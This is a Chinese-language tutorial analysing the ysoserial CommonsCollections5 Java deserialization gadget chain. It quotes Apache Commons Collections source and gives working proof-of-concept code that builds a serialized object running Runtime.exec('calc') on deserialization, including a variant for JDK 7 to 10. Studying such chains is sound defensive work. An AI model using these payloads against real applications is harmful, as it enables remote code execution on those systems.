Java 反序列化系列二:ysoserial-CommonsCollections5 利用链分析
ysoserial 给出的调用如下:
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
一:InvokerTransformer.transform()
先从最低端去分析代码
org\apache\commons\collections\functors\InvokerTransformer#InvokerTransformer 构造函数
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
org\apache\commons\collections\functors\InvokerTransformer#transform 方法
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
那么调用了此类然后调用了此类的方法, 就是通过反射的方式调用了自己类的方法。例如:Runtime 执行命令。
package cn.o2oxy;
import org.apache.commons.collections.functors.InvokerTransformer;
public class test2 {
public static void main(String[] args) throws Exception{
Runtime runtime1 = Runtime.getRuntime();
runtime1.exec("calc");
InvokerTransformer i2 = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
i2.transform(runtime1);
}
}
那么transform 就是一个类去反射执行他的内部方法。参数根据需要传递的参数进行变量传递即可
二、ChainedTransformer.transform()
org\apache\commons\collections\functors\ChainedTransformer@transform
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
transform 是for 循环调用transform函数。那么简单的POC如下:
package cn.o2oxy;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class test2 {
public static void main(String[] args) throws Exception{
InvokerTransformer i1 =new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]});
InvokerTransformer i2 = new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{
null,new Object[0]
});
InvokerTransformer i3 =new InvokerTransformer("exec",
new Class[]{String.class},new Object[]{"calc"}
);
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{i1,i2,i3});
chainedTransformer.transform(Runtime.class);
}
}
三、LazyMap.get()
需要找到那个地方调用了ChainedTransformer@transform 那么找到了LazyMap.get()
org\apache\commons\collections\map\LazyMap@decorate 初始化lazymap
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
org\apache\commons\collections\map\LazyMap@get 初始化lazymap
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
这里判断了不存在的时候才会去调用transform 函数。那么poc如下:
package cn.o2oxy;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
public class test2 {
public static void main(String[] args) throws Exception{
//因为需要放到map 需要一个transform 返回自身的类对象
Transformer c1 = new ConstantTransformer(Runtime.class);
//通过反射的反射获取到getRuntime() 无参对象
InvokerTransformer i1 =new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]});
//通过反射调用Runtime.getRuntime() 函数
InvokerTransformer i2 = new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{
null,new Object[0]
});
// 通过调用 反射调用 Runtime.getRuntime().exec("calc")
InvokerTransformer i3 =new InvokerTransformer("exec",
new Class[]{String.class},new Object[]{"calc"}
);
//写入到ChainedTransformer -->this.iTransformers
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{c1,i1,i2,i3});
//chainedTransformer.transform(Runtime.class);
HashMap map =new HashMap();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
//循环调用ChainedTransformer.iTransformers 依次调用 c1 i1 i2 i3
lazyMap.get("adadad");
}
}
四、TiedMapEntry.toString()
只需要找到谁调用了LazyMap.get() 方法就行了
org\apache\commons\collections\keyvalue\TiedMapEntry@TiedMapEntry 构造方法
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
org\apache\commons\collections\keyvalue\TiedMapEntry@toString 方法
public String toString() {
return this.getKey() + "=" + this.getValue();
}
public Object getValue() {
return this.map.get(this.key);
}
toString –>getValue()–>map.get(key)–>chainedTransformer.transform–>InvokerTransformer.transform
五、BadAttributeValueExpException.readObject()
他没有继承Serializable 但是他的父类继承了Serializable 【所以是能序列化的】
BadAttributeValueExpException extends Exception extends Throwable implements Serializable
javax\management\BadAttributeValueExpException#readObject
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
那么整体的流程就是
BadAttributeValueExpException.readObject–>toString –>getValue()–>map.get(key)–>chainedTransformer.transform–>InvokerTransformer.transform
具体的代码如下:
package cn.o2oxy;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.Deserializer;
import ysoserial.Serializer;
import ysoserial.payloads.util.Reflections;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class test2 {
public static void main(String[] args) throws Exception{
//因为需要放到map 需要一个transform 返回自身的类对象
Transformer c1 = new ConstantTransformer(Runtime.class);
Transformer c2 = new ConstantTransformer("2");
InvokerTransformer i1 =new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]});
InvokerTransformer i2 = new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{
null,new Object[0]
});
InvokerTransformer i3 =new InvokerTransformer("exec",
new Class[]{String.class},new Object[]{"calc"}
);
Transformer transformerChain2 = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
HashMap map =new HashMap();
Map lazyMap = LazyMap.decorate(map, transformerChain2);
lazyMap.get("addddddddddddd");
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo222");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
Reflections.setAccessible(valfield);
valfield.set(val, entry);
Reflections.setFieldValue(entry, "key", "dongta1i"); // arm with actual transformer chain
Reflections.setFieldValue(transformerChain2, "iTransformers", new Transformer[]{c1,i1,i2,i3,c2}); // arm with actual transformer chain
Deserializer.deserialize(Serializer.serialize(val));
}
}
六、兼容JDK 7 8 9 10 版本的链
package cn.o2oxy;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.Deserializer;
import ysoserial.Serializer;
import ysoserial.payloads.util.Reflections;
import java.util.HashMap;
import java.util.Map;
public class test2 {
public static void main(String[] args) throws Exception{
//因为需要放到map 需要一个transform 返回自身的类对象
Transformer c1 = new ConstantTransformer(Runtime.class);
Transformer c2 = new ConstantTransformer("2");
InvokerTransformer i1 =new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]});
InvokerTransformer i2 = new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{
null,new Object[0]
});
InvokerTransformer i3 =new InvokerTransformer("exec",
new Class[]{String.class},new Object[]{"calc"}
);
Transformer transformerChain2 = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
HashMap map =new HashMap();
Map lazyMap = LazyMap.decorate(map, transformerChain2);
lazyMap.get("addddddddddddd");
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo222");
HashMap ht = new HashMap();
ht.put(entry, "url");
Reflections.setFieldValue(entry, "key", "dongta1i"); // arm with actual transformer chain
Reflections.setFieldValue(transformerChain2, "iTransformers", new Transformer[]{c1,i1,i2,i3,c2}); // arm with actual transformer chain
Deserializer.deserialize(Serializer.serialize(ht));
}
}




